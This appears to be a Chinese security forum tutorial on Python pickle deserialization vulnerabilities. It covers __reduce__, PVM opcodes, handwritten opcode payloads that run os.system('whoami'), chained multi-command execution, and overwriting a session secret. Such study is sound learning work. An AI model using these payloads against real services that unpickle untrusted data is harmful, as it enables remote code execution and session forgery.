Pickle反序列化学习

打印 上一主题 下一主题

主题 878|帖子 878|积分 2634

什么是Pickle?

很简单,就是一个python的序列化模块,方便对象的传输与存储。但是pickle的灵活度很高,可以通过对opcode的编写来实现代码执行的效果,由此引发一系列的安全问题
Pickle使用

举个简单的例子
  1. import pickle
  2. class Person():
  3.     def __init__(self):
  4.         self.age = 18
  5.         self.name = 'F12'
  6. p = Person()
  7. opcode = pickle.dumps(p)
  8. print(opcode)
  9. person = pickle.loads(opcode)
  10. print(person)
  11. print(person.age)
  12. print(person.name)
  13. # 输出结果
  14. # b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x03F12\x94ub.'
  15. # <__main__.Person object at 0x00000297918FBF10>
  16. # 18
  17. # F12
复制代码
pickle.dumps(p) 将对象序列化,同理pickle.loads(opcode)就是反序列化的过程
注意

值得注意的是在不同平台环境下pickle生成的opcode是不同的,例如在windows和linux环境下相同的对象,dumps下来的opcode就不一样
魔术方法__reduce__

object.__reduce__是object类的一个魔术方法,我们可以通过重写该方法,让该方法在反序列化时按我们的重写的方式执行,python要求该方法返回一个字符串或元组,如果返回元组 (callable, (param1, param2, )) ,那么每当反序列化时,就会调用 callable(param1, param2, ),我们可以控制callable和它的参数来实现代码执行
Pickle反序列化漏洞利用
  1. import pickle
  2. import os
  3. class Exp():
  4.     def __reduce__(self):
  5.         return (os.system, ('whoami', ))
  6. e = Exp()
  7. opcode = pickle.dumps(e)
  8. pickle.loads(opcode)
  9. # 输出结果
  10. sevydhodungnwjp\hacker
复制代码
很明显在反序列化的过程时执行了 os.system('whoami'),这是pickle反序列化漏洞的最简单的利用方式,要掌握更加高级的利用手法,我们还得继续深入学习pickle
Pickle的工作原理

opcode的解析依靠Pickle Virtual Machine (PVM)进行
PVM由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307
  • v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154
pickle协议是向前兼容的,v0版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。下面我们以v0版本为例,介绍一下opcode指令
常用opcode指令介绍

opcode描述具体写法栈上的变化memo上的变化c获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)会加入self.stackc[module]\n[instance]\n获得的对象入栈无o寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈无i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈无N实例化一个NoneN获得的对象入栈无S实例化一个字符串对象S'xxx'\n(也可以使用双引号、\'等python字符串形式)获得的对象入栈无V实例化一个UNICODE字符串对象Vxxx\n获得的对象入栈无I实例化一个int对象Ixxx\n获得的对象入栈无F实例化一个float对象Fx.x\n获得的对象入栈无R选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈无.程序结束,栈顶的一个元素作为pickle.loads()的返回值.无无(向栈中压入一个MARK标记(MARK标记入栈无t寻找栈中的上一个MARK,并组合之间的数据为元组tMARK标记以及被组合的数据出栈,获得的对象入栈无)向栈中直接压入一个空元组)空元组入栈无l寻找栈中的上一个MARK,并组合之间的数据为列表lMARK标记以及被组合的数据出栈,获得的对象入栈无]向栈中直接压入一个空列表]空列表入栈无d寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)dMARK标记以及被组合的数据出栈,获得的对象入栈无}向栈中直接压入一个空字典}空字典入栈无p将栈顶对象储存至memo_n(记忆栈)pn\n无对象被储存g将memo_n的对象压栈gn\n对象被压栈无0丢弃栈顶对象(self.stack)0栈顶对象被丢弃无b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈无s将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新无u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中uMARK标记以及被组合的数据出栈,字典被更新无a将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈,第二个元素(列表)被更新无e寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中eMARK标记以及被组合的数据出栈,列表被更新无更多的opcode指令可以查看pickle.py获取
PVM工作流程

嫖的动图
PVM解析str

PVM解析__reduce__:

手写opcode

举个简单的opcode例子:
  1. opcode = '''cos              # c[moudle]\n[instance]\n
  2. system                             # 前两句相当于导入os模块,调用system
  3. (S'whoami'                     # ( 压入MARK标记 , S'whoami' 压入 whoami字符串
  4. tR.                             # t 寻找栈中的上一个MARK,并组合之间的数据为元组,也就是('whoami')
  5. '''                             # R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,即os.system('whoami')
  6.                              # . 程序结束,栈顶的一个元素作为pickle.loads()的返回值,返回值就是os.system('whoami')的执行结果
复制代码
程序:
  1. import pickle
  2. opcode = '''cos
  3. system
  4. (S'whoami'
  5. tR.
  6. '''
  7. pickle.loads(opcode.encode())
  8. # 运行结果
  9. sevydhodungnwjp\hacker
复制代码
pickletools介绍

pickletools模块可以将opcode指令转变成易读的形式:
  1. import pickletools
  2. opcode = '''cos
  3. system
  4. (S'whoami'
  5. tR.
  6. '''
  7. print(pickletools.dis(opcode.encode()))
复制代码

多命令执行

在上面描述的修改reduce来达到命令执行的效果,一次只能执行一条命令,想要多命令执行就只能通过手写opcode来实现,只要不碰到.导致程序结束返回就能一直执行命令
  1. import pickle
  2. opcode = '''cos
  3. system
  4. (S'whoami'
  5. tRcos
  6. system
  7. (S'whoami'
  8. tR.
  9. '''
  10. pickle.loads(opcode.encode())
  11. # 运行结果
  12. sevydhodungnwjp\hacker
  13. sevydhodungnwjp\hacker
复制代码
R,i,o介绍

在opcode里能执行函数的字节码就是R,i,o

  • R
  1. opcode=b'''cos
  2. system
  3. (S'whoami'
  4. tR.
  5. '''
复制代码

  • i  : 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
  1. opcode=b'''(S'whoami'
  2. ios
  3. system
  4. .'''
复制代码

  • o : 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
  1. opcode=b'''(cos
  2. system
  3. S'whoami'
  4. o.'''
复制代码
实例化对象

实例化对象也是一种变相的函数执行,因为python不需要new 一个对象(bushi
  1. import pickle
  2. class Person():
  3.     def __init__(self, age, name):
  4.         self.age = age
  5.         self.name = name
  6. opcode = '''c__main__
  7. Person
  8. (I18
  9. S'F12'
  10. tR.
  11. '''
  12. p = pickle.loads(opcode.encode())
  13. print(p.age)
  14. print(p.name)
  15. # 运行结果
  16. 18
  17. F12
复制代码
变量覆盖

也是一个nb的利用手段,通常python框架使用了session时都会有个secret,我们可以通过覆盖掉这个secret来伪造session
  1. secret = "F13"
复制代码
  1. import pickle
  2. import secret
  3. print("一开始:"+ secret.secret)
  4. opcode = b'''c__main__
  5. secret
  6. (S'secret'
  7. S'F12'
  8. db.
  9. '''
  10. fake = pickle.loads(opcode)
  11. print("最后:"+ fake.secret)
  12. # 运行结果
  13. 一开始:F13
  14. 最后:F12
复制代码
首先通过c来获取main.secret模块,然后将MARK标记压入栈,字符串secret,F12压入栈,d将两个字符串组合成字典也就是{'secret': 'F12'}的形式,由于在pickle中,反序列化的数据都是以key-value的形式存储的,所有main.secret 也就是 {'secret': 'F13'},b执行dict.update(),也就是{'secret': 'F13'}.update({'secret': 'F12'}),最终secret变成了F12
Pker工具介绍

一个方便生成所需要opcode代码的工具:https://github.com/eddieivan01/pker
仿python语法生成opcode,使用方法很简单

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

南飓风

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表